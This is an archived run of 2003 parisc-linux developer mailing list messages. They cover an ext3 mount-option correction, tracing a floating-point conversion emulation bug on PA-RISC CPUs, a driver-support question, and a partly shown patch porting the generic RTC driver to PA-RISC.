List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17336

On Fri, 10 Jan 2003 23:13:13 +0100
"Thibaut VARENE" <varenet@esiee.fr> wrote:

I hate to reply to myself but I said crap in my previous mail.
All apologies:
> FWIW, the default option (used by most people) is data=journal, and is not affected by that bug. We've been using 2.4.20 with ext3 for weeks pretty safely here.
it was: "the default option is data=ordered" of course, which is safe.

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:26:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Hull" <jim.hull@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: floating point exception error
Date: Fri, 10 Jan 2003 14:30:39 -0800
Organization: Hewlett-Packard
Lines: 16
Approved: news@gmane.org
Message-ID: <005c01c2b8f7$e79cc8c0$6763f40f@cup.hp.com>
References: <200301101848.h0AImToB004181@hiauly1.hia.nrc.ca>
Reply-To: <jim.hull@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622097 19728 80.91.229.3 (22 Nov 2014 02:08:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:17 +0000 (UTC)
Cc: <randolph@tausq.org>, <parisc-linux@parisc-linux.org>
To: "'John David Anglin'" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 15:30:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id E1DE74829
	for <parisc-linux@parisc-linux.org>; Fri, 10 Jan 2003 15:30:41 -0700 (MST)
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.88.68])
	by palrel12.hp.com (Postfix) with ESMTP
	id 86051E0152C; Fri, 10 Jan 2003 14:30:41 -0800 (PST)
Original-Received: from jh73313p (dhcp42uvi357.cup.hp.com [15.244.99.103])
	by lucy.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id OAA00782;
	Fri, 10 Jan 2003 14:30:39 -0800 (PST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
In-Reply-To: <200301101848.h0AImToB004181@hiauly1.hia.nrc.ca>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17337

David, you wrote:

> I looked at the assembly code.  The original test was done under hpux.
> I see that the call to ull2dbl has been optimized out of the loop.  It
> is just called once.  So, the code probably is trapping there as well.

Ok, that's good to hear.  Your info, along with Randolph's info that it
traps on the 8500, 8600, and 8700 CPUs, leads me to the same conclusion
as Randolph came to.  It looks like there's something wrong with the
fcnv emulation in the linux kernel's emulation handler, even though it
was derived from the hpux handler, where everything appears to work
fine.

 -- Jim



From - Thu Nov 08 21:26:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: floating point exception error
Date: Fri, 10 Jan 2003 22:16:38 -0800
Lines: 39
Approved: news@gmane.org
Message-ID: <20030111061638.GH31470@tausq.org>
References: <200301101848.h0AImToB004181@hiauly1.hia.nrc.ca> <005c01c2b8f7$e79cc8c0$6763f40f@cup.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622097 19734 80.91.229.3 (22 Nov 2014 02:08:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:17 +0000 (UTC)
Cc: 'John David Anglin' <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org
To: Jim Hull <jim.hull@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 23:12:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9C904829
	for <parisc-linux@parisc-linux.org>; Fri, 10 Jan 2003 23:12:49 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 98659CD62D; Fri, 10 Jan 2003 22:16:38 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <005c01c2b8f7$e79cc8c0$6763f40f@cup.hp.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17338

> Ok, that's good to hear.  Your info, along with Randolph's info that it
> traps on the 8500, 8600, and 8700 CPUs, leads me to the same conclusion
> as Randolph came to.  It looks like there's something wrong with the
> fcnv emulation in the linux kernel's emulation handler, even though it
> was derived from the hpux handler, where everything appears to work
> fine.

I think i found it....

for class 1 ops (fcnv) pa20 has a 3-bit subop field, pa11 has a 2-bit
subop field, which determines the source/target formats. our code is not
correctly determining pa11 vs pa20, so it defaults to pa11 and uses
subop==1 instead of subop==5

now, the tricky part is how to get it to detect the right type. the code
looks like this:

fpu_type_flags=fpregs[FPU_TYPE_FLAG_POS];  /* get fpu type flags */
if  (fpu_type_flags & PA2_0_FPU_FLAG)
    subop = get_subop1_PA2_0(ir);
else
    subop = get_subop1_PA1_1(ir);

FPU_TYPE_FLAG_POS is defined as
#define EM_FPU_TYPE_OFFSET 272
#define FPU_TYPE_FLAG_POS (EM_FPU_TYPE_OFFSET>>2)
(272>>2 == 68)

so, i wonder:
1) why those numbers? (where is it documented?)
2) is there a special way to read that fpu type from the fpu? or do we
use boot_cpu_data.cpu_type?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: floating point exception error
Date: Sat, 11 Jan 2003 00:10:05 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20030111071005.GA2326@dsl2.external.hp.com>
References: <200301101848.h0AImToB004181@hiauly1.hia.nrc.ca> <005c01c2b8f7$e79cc8c0$6763f40f@cup.hp.com> <20030111061638.GH31470@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622097 19739 80.91.229.3 (22 Nov 2014 02:08:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:17 +0000 (UTC)
Cc: Jim Hull <jim.hull@hp.com>,
	'John David Anglin' <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 11 00:10:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id AD95F4829; Sat, 11 Jan 2003 00:10:05 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030111061638.GH31470@tausq.org>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17339

On Fri, Jan 10, 2003 at 10:16:38PM -0800, Randolph Chung wrote:
> so, i wonder:
> 1) why those numbers? (where is it documented?)

no clue - PDC calls don't document that?

> 2) is there a special way to read that fpu type from the fpu?

yes. PDC can tell you the FPU model. I'll have to look up the call.
I had the impression it was better to use FP info to identify the CPU model
than the other PDC info - but what we have seems to work.

> or do we use boot_cpu_data.cpu_type?
Maybe the same call returns both CPU and FPU identifiers.
Don't recall offhand. If someone doesn't know offhand,
I'll look it up.

grant


From - Thu Nov 08 21:26:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "N.Leymann" <leymann@berkom.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Drivers for HP J2802B ATM Board or Interphase FDDI (EISA)
Date: Sat, 11 Jan 2003 09:47:07 +0100 (MET)
Lines: 12
Approved: news@gmane.org
Message-ID: <200301110847.h0B8l7KL004719@mailer.berkom.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622098 19745 80.91.229.3 (22 Nov 2014 02:08:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:18 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 11 01:47:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailer.berkom.de (mailer.berkom.de [141.39.13.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id C44754829
	for <parisc-linux@parisc-linux.org>; Sat, 11 Jan 2003 01:47:08 -0700 (MST)
Original-Received: from mailer.berkom.de (localhost [127.0.0.1])
	by mailer.berkom.de (8.12.6/8.12.6) with ESMTP id h0B8l7XN004721
	for <parisc-linux@parisc-linux.org>; Sat, 11 Jan 2003 09:47:07 +0100 (MET)
Original-Received: (from leymann@localhost)
	by mailer.berkom.de (8.12.6/8.12.6/Submit) id h0B8l7KL004719
	for parisc-linux@parisc-linux.org; Sat, 11 Jan 2003 09:47:07 +0100 (MET)
X-Mailer: ELM [version 2.5 PL3]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17340

Hi,

I'm currently thinking about the installation of Linux on
a J282. I do have also a few ancient NICs flying around

   - J2802B-1303 ATM-Board, EISA, 155MBit/s
   - Interphase FDDI Board (also EISA)

and I'm interesed if those boards are supported by Linux.

  Nic


From - Thu Nov 08 21:26:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: floating point exception error
Date: Sat, 11 Jan 2003 13:31:58 -0500 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <200301111831.h0BIVwZS006398@hiauly1.hia.nrc.ca>
References: <20030111061638.GH31470@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622098 19746 80.91.229.3 (22 Nov 2014 02:08:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:18 +0000 (UTC)
Cc: jim.hull@hp.com, parisc-linux@parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 11 11:32:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id DDBDC4829
	for <parisc-linux@parisc-linux.org>; Sat, 11 Jan 2003 11:32:01 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h0BIW0ot006399;
	Sat, 11 Jan 2003 13:32:00 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h0BIVwZS006398;
	Sat, 11 Jan 2003 13:31:58 -0500 (EST)
In-Reply-To: <20030111061638.GH31470@tausq.org> from "Randolph Chung" at Jan 10, 2003 10:16:38 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17341

> I think i found it....
> 
> for class 1 ops (fcnv) pa20 has a 3-bit subop field, pa11 has a 2-bit
> subop field, which determines the source/target formats. our code is not
> correctly determining pa11 vs pa20, so it defaults to pa11 and uses
> subop==1 instead of subop==5
> 
> now, the tricky part is how to get it to detect the right type. the code
> looks like this:
> 
> fpu_type_flags=fpregs[FPU_TYPE_FLAG_POS];  /* get fpu type flags */
> if  (fpu_type_flags & PA2_0_FPU_FLAG)
>     subop = get_subop1_PA2_0(ir);
> else
>     subop = get_subop1_PA1_1(ir);

I think that you probably should always use a 3-bit extract.  If the
value is greater than 3 on a PA 1.1 FPU, then the operation is undefined.
4 is also undefined for PA 2.0.

The above assumes that the kernel doesn't provide PA 2.0 emulation
on PA 1.1 machines.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Generic RTC driver in 2.4.x
Date: Sat, 11 Jan 2003 20:50:46 +0100
Lines: 372
Approved: news@gmane.org
Message-ID: <200301112050.46194.deller@gmx.de>
References: <Pine.GSO.4.21.0301102104190.18440-100000@vervain.sonytel.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_WWHI+IE+7Hhk3eF"
X-Trace: ger.gmane.org 1416622098 19748 80.91.229.3 (22 Nov 2014 02:08:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:18 +0000 (UTC)
Cc: Linux/m68k <linux-m68k@lists.linux-m68k.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 11 12:55:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id E7F63482B
	for <parisc-linux@parisc-linux.org>; Sat, 11 Jan 2003 12:55:45 -0700 (MST)
Original-Received: (qmail 3892 invoked by uid 0); 11 Jan 2003 19:55:37 -0000
Original-Received: from pd9040219.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.2.25)
  by mail.gmx.net (mp016-rz3) with SMTP; 11 Jan 2003 19:55:37 -0000
User-Agent: KMail/1.5
In-Reply-To: <Pine.GSO.4.21.0301102104190.18440-100000@vervain.sonytel.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17342

--Boundary-00=_WWHI+IE+7Hhk3eF
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Friday 10 January 2003 21:05, Geert Uytterhoeven wrote:
> Unfortunately I didn't receive any feedback from the pa-risc and ppc people
> after my previous posting last Sunday.

Hi Geert,

It took me some time, but here are the PA-RISC specific patches vs. your 
latest genrtc driver.

Please consider applying,
Helge

ChangeLog:
- small indenting fixes,
- new driver version number
- more "static" functions
- C99 named initializers
- added RTC_BATT_BAD capatibility flag (for the procfs-interface),
- get_rtc_time() now returns the "capatibilities" value (e.g. RTC_BATT_BAD | RTC_24H)
[this means, the m86k get_rtc_time() function has to return a value too.


--Boundary-00=_WWHI+IE+7Hhk3eF
Content-Type: text/plain;
  charset="iso-8859-1";
  name="genrtc.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="genrtc.patch"

--- ./drivers/char/genrtc.c.geert	Sat Jan 11 18:14:50 2003
+++ ./drivers/char/genrtc.c	Sat Jan 11 20:36:28 2003
@@ -1,5 +1,8 @@
 /*
- *	Real Time Clock interface for q40 and other m68k machines
+ *	Real Time Clock interface for
+ *		- q40 and other m68k machines,
+ *		- HP PARISC machines
+ *		- PowerPC machines
  *      emulate some RTC irq capabilities in software
  *
  *      Copyright (C) 1999 Richard Zidlicky
@@ -13,7 +16,7 @@
  *	pseudo-file for status information.
  *
  *	The ioctls can be used to set the interrupt behaviour where
- *  supported.
+ *	supported.
  *
  *	The /dev/rtc interface will block on reads until an interrupt
  *	has been received. If a RTC interrupt has already happened,
@@ -34,9 +37,10 @@
  *      1.04 removed useless timer code       rz@linux-m68k.org
  *      1.05 portable RTC_UIE emulation       rz@linux-m68k.org
  *      1.06 set_rtc_time can return an error trini@kernel.crashing.org
+ *      1.07 ported to HP PARISC (hppa)	      Helge Deller <deller@gmx.de>
  */
 
-#define RTC_VERSION	"1.06"
+#define RTC_VERSION	"1.07"
 
 #include <linux/module.h>
 #include <linux/config.h>
@@ -71,11 +75,11 @@
 
 #define RTC_IS_OPEN		0x01	/* means /dev/rtc is in use	*/
 
-unsigned char gen_rtc_status;		/* bitmapped status byte.	*/
-unsigned long gen_rtc_irq_data;		/* our output to the world	*/
+static unsigned char gen_rtc_status;	/* bitmapped status byte.	*/
+static unsigned long gen_rtc_irq_data;	/* our output to the world	*/
 
 /* months start at 0 now */
-unsigned char days_in_mo[] =
+static unsigned char days_in_mo[] =
 {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31};
 
 static int irq_active;
@@ -88,7 +92,7 @@
 static int lostint;
 static int tt_exp;
 
-void gen_rtc_timer(unsigned long data);
+static void gen_rtc_timer(unsigned long data);
 
 static volatile int stask_active;              /* schedule_task */
 static volatile int ttask_active;              /* timer_task */
@@ -99,7 +103,7 @@
  * Routine to poll RTC seconds field for change as often as posible,
  * after first RTC_UIE use timer to reduce polling
  */
-void genrtc_troutine(void *data)
+static void genrtc_troutine(void *data)
 {
 	unsigned int tmp = get_rtc_ss();
 	
@@ -123,7 +127,7 @@
 		stask_active = 0;
 }
 
-void gen_rtc_timer(unsigned long data)
+static void gen_rtc_timer(unsigned long data)
 {
 	lostint = get_rtc_ss() - oldsecs ;
 	if (lostint<0) 
@@ -144,7 +148,7 @@
  * from some routine that periodically (eg 100HZ) monitors
  * whether RTC_SECS changed
  */
-void gen_rtc_interrupt(unsigned long arg)
+static void gen_rtc_interrupt(unsigned long arg)
 {
 	/*  We store the status in the low byte and the number of
 	 *	interrupts received since the last read in the remainder
@@ -384,24 +388,24 @@
  */
 
 static struct file_operations gen_rtc_fops = {
-	owner:		THIS_MODULE,
+	.owner		= THIS_MODULE,
 #ifdef CONFIG_GEN_RTC_X
-	read:		gen_rtc_read,
-	poll:		gen_rtc_poll,
+	.read		= gen_rtc_read,
+	.poll		= gen_rtc_poll,
 #endif
-	ioctl:		gen_rtc_ioctl,
-	open:		gen_rtc_open,
-	release:	gen_rtc_release
+	.ioctl		= gen_rtc_ioctl,
+	.open		= gen_rtc_open,
+	.release	= gen_rtc_release,
 };
 
 static struct miscdevice rtc_gen_dev =
 {
-	RTC_MINOR,
-	"rtc",
-	&gen_rtc_fops
+	.minor		= RTC_MINOR,
+	.name		= "rtc",
+	.fops		= &gen_rtc_fops,
 };
 
-int __init rtc_generic_init(void)
+static int __init rtc_generic_init(void)
 {
 	int retval;
 
@@ -436,16 +440,18 @@
  *	Info exported via "/proc/rtc".
  */
 
-int gen_rtc_proc_output(char *buf)
+#ifdef CONFIG_PROC_FS
+
+static int gen_rtc_proc_output(char *buf)
 {
 	char *p;
 	struct rtc_time tm;
-	unsigned tmp;
+	unsigned flags;
 	struct rtc_pll_info pll;
 
 	p = buf;
 
-	get_rtc_time(&tm);
+	flags = get_rtc_time(&tm);
 
 	p += sprintf(p,
 		     "rtc_time\t: %02d:%02d:%02d\n"
@@ -454,7 +460,7 @@
 		     tm.tm_hour, tm.tm_min, tm.tm_sec,
 		     tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday, 1900);
 
-	tm.tm_hour=0;tm.tm_min=0;tm.tm_sec=0;
+	tm.tm_hour = tm.tm_min = tm.tm_sec = 0;
 
 	p += sprintf(p, "alarm\t\t: ");
 	if (tm.tm_hour <= 24)
@@ -472,7 +478,6 @@
 	else
 		p += sprintf(p, "**\n");
 
-	tmp= RTC_24H ;
 	p += sprintf(p,
 		     "DST_enable\t: %s\n"
 		     "BCD\t\t: %s\n"
@@ -483,15 +488,15 @@
 		     "periodic_IRQ\t: %s\n"
 		     "periodic_freq\t: %ld\n"
 		     "batt_status\t: %s\n",
-		     (tmp & RTC_DST_EN) ? "yes" : "no",
-		     (tmp & RTC_DM_BINARY) ? "no" : "yes",
-		     (tmp & RTC_24H) ? "yes" : "no",
-		     (tmp & RTC_SQWE) ? "yes" : "no",
-		     (tmp & RTC_AIE) ? "yes" : "no",
+		     (flags & RTC_DST_EN) ? "yes" : "no",
+		     (flags & RTC_DM_BINARY) ? "no" : "yes",
+		     (flags & RTC_24H) ? "yes" : "no",
+		     (flags & RTC_SQWE) ? "yes" : "no",
+		     (flags & RTC_AIE) ? "yes" : "no",
 		     irq_active ? "yes" : "no",
-		     (tmp & RTC_PIE) ? "yes" : "no",
+		     (flags & RTC_PIE) ? "yes" : "no",
 		     0L /* freq */,
-		     "okay" );
+		     (flags & RTC_BATT_BAD) ? "bad" : "okay");
 	if (!get_rtc_pll(&pll))
 	    p += sprintf(p,
 			 "PLL adjustment\t: %d\n"
@@ -506,7 +511,7 @@
 			 pll.pll_posmult,
 			 pll.pll_negmult,
 			 pll.pll_clock);
-	return  p - buf;
+	return p - buf;
 }
 
 static int gen_rtc_read_proc(char *page, char **start, off_t off,
@@ -521,6 +526,8 @@
 	return len;
 }
 
+#endif /* CONFIG_PROC_FS */
+
 
 MODULE_AUTHOR("Richard Zidlicky");
 MODULE_LICENSE("GPL");
--- ./include/asm-parisc/rtc.h.geert	Sat Jan 11 18:21:25 2003
+++ ./include/asm-parisc/rtc.h	Sat Jan 11 20:40:41 2003
@@ -0,0 +1,131 @@
+/* include/asm-parisc/rtc.h */
+
+#ifndef _ASM_RTC_H
+#define _ASM_RTC_H
+
+#ifdef __KERNEL__
+
+#include <linux/rtc.h>
+#include <asm/errno.h>
+
+#define RTC_PIE 0x40		/* periodic interrupt enable */
+#define RTC_AIE 0x20		/* alarm interrupt enable */
+#define RTC_UIE 0x10		/* update-finished interrupt enable */
+
+/* some dummy definitions */
+#define RTC_BATT_BAD 0x10	/* battery bad */
+#define RTC_SQWE 0x08		/* enable square-wave output */
+#define RTC_DM_BINARY 0x04	/* all time/date values are BCD if clear */
+#define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
+#define RTC_DST_EN 0x01	        /* auto switch DST - works f. USA only */
+
+
+/* constants for calculation */
+#define SECS_PER_HOUR   (60 * 60)
+#define SECS_PER_DAY    (SECS_PER_HOUR * 24)
+
+#define __isleap(year) \
+  ((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
+
+
+/* How many days come before each month (0-12).  */
+static const unsigned short int __mon_yday[2][13] =
+{
+	/* Normal years.  */
+	{ 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
+	/* Leap years.  */
+	{ 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
+};
+
+static inline unsigned get_rtc_time(struct rtc_time *wtime)
+{
+	/*
+	 * Only the values that we read from the RTC are set. We leave
+	 * tm_wday, tm_yday and tm_isdst untouched. Even though the
+	 * RTC has RTC_DAY_OF_WEEK, we ignore it, as it is only updated
+	 * by the RTC when initially set to a non-zero value.
+	 */
+	
